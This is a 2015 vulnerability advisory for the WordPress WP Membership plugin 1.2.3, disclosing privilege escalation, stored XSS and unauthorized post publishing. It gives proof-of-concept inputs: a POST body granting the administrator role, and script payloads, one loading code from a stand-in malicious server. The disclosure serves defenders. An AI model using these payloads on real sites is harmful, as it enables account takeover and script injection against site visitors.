WordPress Plugin WP Membership 1.2.3 - Multiple Vulnerabilities

# Exploit Title: WordPress WP Membership plugin [Multiple Vulnerabilities]
# Date: 2015/05/19
# Exploit Author: Panagiotis Vagenas
# Contact: https://twitter.com/panVagenas
# Vendor Homepage: http://wpmembership.e-plugins.com/
# Software Link: http://codecanyon.net/item/wp-membership/10066554
# Version: 1.2.3
# Tested on: WordPress 4.2.2
# Category: webapps

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* 1. Privilege escalation
  ========================================

1.1 Description

Any registered user can perform a privilege escalation through 
`iv_membership_update_user_settings` AJAX action.
Although this exploit can be used to modify other plugin related data 
(eg payment status and expiry date), privilege escalation can lead to a 
serious incident because the malicious user can take administrative role 
to the infected website.

1.2 Proof of Concept

* Login as regular user
* Sent a POST request to `http://example.com/wp-admin/admin-ajax.php` 
with data: 
`action=iv_membership_update_user_settings&form_data=user_id%3D<yourUserID>%26user_role%3Dadministrator` 


1.3 Actions taken after discovery

Vendor was informed on 2015/05/19.

1.4 Solution

No official solution yet exists.

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* 2. Stored XSS
========================================

2.1 Description

All input fields from registered users aren't properly escaped. This 
could lead to an XSS attack that could possibly affect all visitors of 
the website, including administators.

2.2 Proof of Concept

* Login as regular user
* Update any field of your profile appending at the end
     `<script>alert('XSS');</script>`
     or
     `<script src=”http://malicious .server/my_malicious_script.js”/>`

2.3 Actions taken after discovery

Vendor was informed on 2015/05/19.

2.4 Solution

No official solution yet exists.

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* 3. Unauthorized post publish and stored XSS
  ========================================

3.1 Description

Registered users can publish a post without administrator confirmation. 
Normally all posts submitted  by users registered with WP Membership 
plugin are stored with the status `pending`. A malicious user though can 
publish his post by crafting the form is used for submission.

3.2 Proof of Concept

* Login as regular user
  whom belongs to a group that can submit new posts
* Visit the `New Post` section at your profile
* Change field `post_status`:
     <select id="post_status" class="form-control" name="post_status">
         <option value="publish" selected=”selected”>Pending 
Review</option>
         <option value="draft">Draft</option>
     </select>

The post gets immediately published after you submit the form and is 
visible to all visitors of the website.

In addition a stored XSS attack can be performed due to insufficient 
escaping of the post content input.

3.3 Actions taken after discovery

Vendor was informed on 2015/05/19.

3.4 Solution

No official solution yet exists.

3.5 Workaround

Prevent users from submitting new posts through the relative option in 
plugin's settings